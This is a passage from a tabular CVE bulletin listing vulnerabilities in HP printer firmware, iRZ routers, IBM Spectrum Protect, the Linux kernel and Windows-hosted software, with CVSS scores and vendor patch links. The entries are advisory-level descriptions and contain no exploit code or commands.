			disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	sh_5950417-5950443-16	
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/928
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/929
Product: officejet_pro_8210_j3p68a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/930
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/931

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**		
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/932
Product: officejet_pro_8216_t0g70a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/933
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/934
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/935

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**		
Product: officejet_pro_8730_d9l20a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/936
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/937
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/938
Product: officejet_pro_8730_k7s32a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential	https://support.hp.com/us-en/document/i	O-HP-OFFI-070422/939

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	sh_5950417-5950443-16	
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/940
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/941
Product: officejet_pro_8740_d9l21a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/942
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential	https://support.hp.com/us-en/document/i	O-HP-OFFI-070422/943

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	sh_5950417-5950443-16	
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/944
Product: officejet_pro_8740_j6x83a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/945
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/946
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential	https://support.hp.com/us-en/document/i	O-HP-OFFI-070422/947

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	sh_5950417-5950443-16	
Product: officejet_pro_8740_k7s39a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/948
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/949
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/950
Product: officejet_pro_8740_k7s40a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to	https://support.hp.com/us-en/document/i	O-HP-OFFI-070422/951

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	sh_5950417-5950443-16	
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/952
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/953
Product: officejet_pro_8740_k7s41a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/954
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to	https://support.hp.com/us-en/document/i	O-HP-OFFI-070422/955

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	sh_5950417-5950443-16	
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/956
Product: officejet_pro_8740_k7s42a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/957
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/958
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to	https://support.hp.com/us-en/document/i	O-HP-OFFI-070422/959

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	sh_5950417-5950443-16	
Product: officejet_pro_8740_k7s43a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/960
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/961
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/962
Product: officejet_pro_8740_t0g65a_firmware					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/963
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/964
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/965
Product: pagewide_352dw_j6u57a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/966

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/967
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/968
Product: pagewide_377dw_j9v80a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/969
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/970

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/971
Product: pagewide_managed_p55250dw_j6u51b_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/972
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/973
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/974

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: pagewide_managed_p55250dw_j6u55a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/975
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/976
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/977
Product: pagewide_managed_p55250dw_j6u55b_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution.	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/978

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-24291		
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/979
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/980
Product: pagewide_managed_p57750dw_j9v82a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/981
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution.	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/982

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-24292		
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/983
Product: pagewide_pro_452dn_d3q15a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/984
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/985
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution.	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/986

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-24293		
Product: pagewide_pro_452dw_d3q16a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/987
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/988
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/989
Product: pagewide_pro_477dn_d3q19a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/990

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			service, or remote code execution. **CVE ID : CVE-2022-24291**		
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/991
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/992
Product: pagewide_pro_477dw_d3q20a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/993
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/994

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			service, or remote code execution. **CVE ID : CVE-2022-24292**		
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/995
Product: pagewide_pro_552dw_d3q17a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/996
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/997
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/998

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			service, or remote code execution. **CVE ID : CVE-2022-24293**		
Product: pagewide_pro_577dw_d3q21a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/999
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/1000
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/1001
Product: pagewide_pro_577z_k9z76a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information	https://support.hp.com/us-en/document/i	O-HP-PAGE-070422/1002

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	sh_5950417-5950443-16	
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/1003
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-PAGE-070422/1004
Vendor: IBM					
Product: aix					
Improper Privilege Management	21-Mar-22	8.8	The IBM Spectrum Protect 8.1.14.000 server could allow a remote attacker to bypass security restrictions, caused by improper enforcement of access controls. By signing in, an attacker could exploit this vulnerability to bypass security and	https://exchange.xforce.ibmcloud.com/vulnerabilities/222147, https://www.ibm.com/support/pages/node/6564745	O-IBM-AIX-070422/1005

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			gain unauthorized administrator or node access to the vulnerable server. **CVE ID : CVE-2022-22394**		
Vendor: IRZ					
Product: rl01_firmware					
Cross-Site Request Forgery (CSRF)	19-Mar-22	8.8	A CSRF issue in /api/crontab on iRZ Mobile Routers through 2022-03-16 allows a threat actor to create a crontab entry in the router administration panel. The cronjob will consequently execute the entry on the threat actor's defined interval, leading to remote code execution, allowing the threat actor to gain filesystem access. In addition, if the router's default credentials aren't rotated or a threat actor discovers valid credentials, remote code execution can be achieved without user interaction. **CVE ID : CVE-2022-27226**	N/A	O-IRZ-RL01-070422/1006
Product: rl21_firmware					
Cross-Site Request	19-Mar-22	8.8	A CSRF issue in /api/crontab on iRZ Mobile Routers through 2022-03-16	N/A	O-IRZ-RL21-070422/1007

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Forgery (CSRF)			allows a threat actor to create a crontab entry in the router administration panel. The cronjob will consequently execute the entry on the threat actor's defined interval, leading to remote code execution, allowing the threat actor to gain filesystem access. In addition, if the router's default credentials aren't rotated or a threat actor discovers valid credentials, remote code execution can be achieved without user interaction. **CVE ID : CVE-2022-27226**		
Product: ru21w_firmware					
Cross-Site Request Forgery (CSRF)	19-Mar-22	8.8	A CSRF issue in /api/crontab on iRZ Mobile Routers through 2022-03-16 allows a threat actor to create a crontab entry in the router administration panel. The cronjob will consequently execute the entry on the threat actor's defined interval, leading to remote code execution, allowing the threat actor to gain	N/A	O-IRZ-RU21-070422/1008

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			filesystem access. In addition, if the router's default credentials aren't rotated or a threat actor discovers valid credentials, remote code execution can be achieved without user interaction. **CVE ID : CVE-2022-27226**		
Product: ru21_firmware					
Cross-Site Request Forgery (CSRF)	19-Mar-22	8.8	A CSRF issue in /api/crontab on iRZ Mobile Routers through 2022-03-16 allows a threat actor to create a crontab entry in the router administration panel. The cronjob will consequently execute the entry on the threat actor's defined interval, leading to remote code execution, allowing the threat actor to gain filesystem access. In addition, if the router's default credentials aren't rotated or a threat actor discovers valid credentials, remote code execution can be achieved without user interaction. **CVE ID : CVE-2022-27226**	N/A	O-IRZ-RU21-070422/1009

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: ru41_firmware					
Cross-Site Request Forgery (CSRF)	19-Mar-22	8.8	A CSRF issue in /api/crontab on iRZ Mobile Routers through 2022-03-16 allows a threat actor to create a crontab entry in the router administration panel. The cronjob will consequently execute the entry on the threat actor's defined interval, leading to remote code execution, allowing the threat actor to gain filesystem access. In addition, if the router's default credentials aren't rotated or a threat actor discovers valid credentials, remote code execution can be achieved without user interaction. **CVE ID : CVE-2022-27226**	N/A	O-IRZ-RU41-070422/1010
Vendor: Linux					
Product: linux_kernel					
Missing Release of Memory after Effective Lifetime	18-Mar-22	7.5	Memory leak in icmp6 implementation in Linux Kernel 5.13+ allows a remote attacker to DoS a host by making it go out-of-memory via icmp6 packets of type 130 or 131. We	https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2d3916f3189172d5c69d33065c3c21119fe539fc	O-LIN-LINU-070422/1011

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			recommend upgrading past commit 2d3916f3189172d5c69d33065c3c21119fe539fc. **CVE ID : CVE-2022-0742**		
Missing Release of Memory after Effective Lifetime	23-Mar-22	5.5	A memory leak flaw was found in the Linux kernel's DMA subsystem, in the way a user calls DMA_FROM_DEVICE. This flaw allows a local user to read random memory from the kernel space. **CVE ID : CVE-2022-0854**	N/A	O-LIN-LINU-070422/1012
Use After Free	18-Mar-22	7.8	A flaw use after free in the Linux kernel FUSE filesystem was found in the way user triggers write(). A local user could use this flaw to get some unauthorized access to some data from the FUSE filesystem and as result potentially privilege escalation too. **CVE ID : CVE-2022-1011**	https://git.kernel.org/pub/scm/linux/kernel/git/mszeredi/fuse.git/commit/?h=for-next	O-LIN-LINU-070422/1013
Improper Input Validation	24-Mar-22	6.3	NVIDIA DCGM contains a vulnerability in nvhostengine, where a network user can	https://nvidia.custhelp.com/app/answers/detail/a_id/5328	O-LIN-LINU-070422/1014

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			cause detection of error conditions without action, which may lead to limited code execution, some denial of service, escalation of privileges, and limited impacts to both data confidentiality and integrity. **CVE ID : CVE-2022-21820**		
Improper Privilege Management	21-Mar-22	8.8	The IBM Spectrum Protect 8.1.14.000 server could allow a remote attacker to bypass security restrictions, caused by improper enforcement of access controls. By signing in, an attacker could exploit this vulnerability to bypass security and gain unauthorized administrator or node access to the vulnerable server. **CVE ID : CVE-2022-22394**	https://exchange.xforce.ibmcloud.com/vulnerabilities/222147, https://www.ibm.com/support/pages/node/6564745	O-LIN-LINU-070422/1015
Improper Validation of Array Index	16-Mar-22	8.8	In drivers/usb/gadget/udc/udc-xilinx.c in the Linux kernel before 5.16.12, the endpoint index is not validated and might be manipulated by	https://github.com/torvalds/linux/commit/7f14c7227f342d9932f9b918893c8814f86d2a0d, https://cdn.kernel.org/pub/lin	O-LIN-LINU-070422/1016

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			the host for out-of-array access. **CVE ID : CVE-2022-27223**	ux/kernel/v5.x/ChangeLog-5.16.12	
Out-of-bounds Write	23-Mar-22	7.8	A heap buffer overflow flaw was found in IPsec ESP transformation code in net/ipv4/esp4.c and net/ipv6/esp6.c. This flaw allows a local attacker with a normal user privilege to overwrite kernel heap objects and may cause a local privilege escalation threat. **CVE ID : CVE-2022-27666**	https://bugzilla.redhat.com/show_bug.cgi?id=2061633, https://github.com/torvalds/linux/commit/ebe48d368e97d007bfeb76fcb065d6cfc4c96645	O-LIN-LINU-070422/1017
Vendor: Microsoft					
Product: windows					
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	17-Mar-22	7.5	The package github.com/valyala/fasthttp before 1.34.0 are vulnerable to Directory Traversal via the ServeFile function, due to improper sanitization. It is possible to be exploited by using a backslash %5c character in the path. **Note:** This security issue impacts Windows users only.	https://github.com/valyala/fasthttp/commit/15262ecf3c602364639d465daba1e7f3604d00e8, https://github.com/valyala/fasthttp/issues/1226, https://github.com/valyala/fasthttp/commit/6b5bc7bb304975147b4af68df54ac214ed2554c1	O-MIC-WIND-070422/1018

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-21221		
Improper Privilege Management	21-Mar-22	8.8	The IBM Spectrum Protect 8.1.14.000 server could allow a remote attacker to bypass security restrictions, caused by improper enforcement of access controls. By signing in, an attacker could exploit this vulnerability to bypass security and gain unauthorized administrator or node access to the vulnerable server. **CVE ID : CVE-2022-22394**	https://exchange.xforce.ibmcloud.com/vulnerabilities/222147, https://www.ibm.com/support/pages/node/6564745	O-MIC-WIND-070422/1019
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	23-Mar-22	9.1	VMware Carbon Black App Control (8.5.x prior to 8.5.14, 8.6.x prior to 8.6.6, 8.7.x prior to 8.7.4 and 8.8.x prior to 8.8.2) contains an OS command injection vulnerability. An authenticated, high privileged malicious actor with network access to the VMware App Control administration interface may be able to execute commands on the server due to improper input validation leading to	https://www.vmware.com/security/advisories/VMSA-2022-0008.html	O-MIC-WIND-070422/1020

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			remote code execution. **CVE ID : CVE-2022-22951**		
Out-of-bounds Write	18-Mar-22	7.8	Acrobat Reader DC version 21.007.20099 (and earlier), 20.004.30017 (and earlier) and 17.011.30204 (and earlier) are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious font file. **CVE ID : CVE-2022-24091**	https://helpx.adobe.com/security/products/acrobat/apsb22-01.html	O-MIC-WIND-070422/1021
Out-of-bounds Write	18-Mar-22	7.8	Acrobat Reader DC version 21.007.20099 (and earlier), 20.004.30017 (and earlier) and 17.011.30204 (and earlier) are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user	https://helpx.adobe.com/security/products/acrobat/apsb22-01.html	O-MIC-WIND-070422/1022

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			interaction in that a victim must open a malicious font file. **CVE ID : CVE-2022-24092**		
